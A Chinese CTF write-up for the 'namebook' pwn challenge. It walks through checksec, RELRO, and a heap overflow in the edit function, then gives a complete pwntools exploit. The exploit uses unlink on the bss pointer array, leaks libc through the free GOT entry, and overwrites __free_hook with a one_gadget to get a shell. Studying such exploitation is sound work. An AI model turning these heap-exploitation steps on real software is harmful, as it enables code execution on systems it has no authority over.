namebook

22 篇文章 4 订阅
6 篇文章 1 订阅

检查机制:

sir@sir-PC:~/desktop$ checksec name
[*] '/home/sir/desktop/name'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

开启了RELRO,这里提一下:
在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域. 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处;
GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation.大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读;
RELRO设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击;
也就是这道题修改got表的方法可能就会失败;

漏洞发现

set name功能:

int sub_4009B8()
{
  int result; // eax@2
  int v1; // [sp+Ch] [bp-4h]@1

  printf("index:");
  v1 = sub_4008F0();
  if ( v1 <= 9 )
  {
    *(_QWORD *)&ptr[8 * v1] = malloc(0x80uLL);
    printf("name:");
    write_s(*(_QWORD *)&ptr[8 * v1], 0x80u);
    result = puts("done.");
  }
  else
  {
    result = puts("invalid range");
  }
  return result;
}

reset name功能:

int edit()
{
  int result; // eax@3
  int v1; // [sp+Ch] [bp-4h]@1

  printf("index:");
  v1 = sub_4008F0();
  if ( v1 <= 9 && *(_QWORD *)&ptr[8 * v1] )
  {
    printf("name:");
    write_s(*(_QWORD *)&ptr[8 * v1], 0x100u); //这里有溢出 0x100u > 0x80u
    result = puts("done.");
  }
  else
  {
    result = puts("invalid range");
  }
  return result;
}

这里添加name的时候申请的是0x80的chunk,但是编辑name的时候却可以写0x100个字符串进去;

bss:0000000000602029                 align 20h
.bss:0000000000602040 ; char ptr[80]
.bss:0000000000602040 ptr             dq ?                    ; DATA XREF: add+48w
.bss:0000000000602040                                         ; add+64r ...

这里将ptr放在了bss段;

思路

因为写入的字符串都加了‘\x00’,所以我们不能直接通过delete来泄露libc;但是我们可以通过unlink的操作来修改ptr的指针,然后来泄露libc,因为不可以修改got表了,所以通过修改将__free_hook地址的内容改为one_gadget的地址;
找one_gadget的偏移:

sir@sir-PC:~/desktop$ one_gadget ./libc.so.6
0x46428	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4647c	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe9415	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xea36d	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

这里one_gadget有多个,不一定每个都可以运行成功,需要试一下;

EXP

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './name'
p = process(name)
#p=remote('pwn2.jarvisoj.com', 9893)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)
    
def add(i,s):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(i))
    p.recvuntil('name')
    p.sendline(s)
    
def delete(i):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(i))   
    
def show(i):
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('index:')
    p.sendline(str(i))   
    
def edit(i,s):
    p.recvuntil('>')
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(i))   
    p.recvuntil('name')
    p.sendline(s) 
   
add(0,'a'*8)
add(1,'b'*8)
#unlink
fd = 0x602040 - 0x18
bk = 0x602040 - 0x10
pay = p64(0) + p64(0x80) + p64(fd) + p64(bk) + 'q'*(0x80 - 4*8) + p64(0x80) + p64(0x90)
edit(0,pay)
delete(1)
#leak 
pay1 = p64(0) + p64(0) + p64(0) + p64(elf.got['free']) + p64(0x602040)
edit(0,pay1)
show(0)
free_addr = u64(p.recv(6) + '\x00'*2) 
libc_addr = free_addr - 0x83120
one_gadget = libc_addr + 0xe9415
free_hook = libc_addr + 0x3c4a10
success("free_addr: " + hex(free_addr))
success("libc_addr: " + hex(libc_addr))
success("one_gadget: " + hex(one_gadget))
success("free_hook: " + hex(free_hook))
#cover
edit(1,p64(free_hook))
edit(0,p64(one_gadget))
#execve("/bin/sh", rsp+0x50, environ)
delete(0)    
p.interactive()

总结

__free_hook 和 one_gadget 还有 __malloc_hook 这些都是很有用的,而且在libc中,比较万能;

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值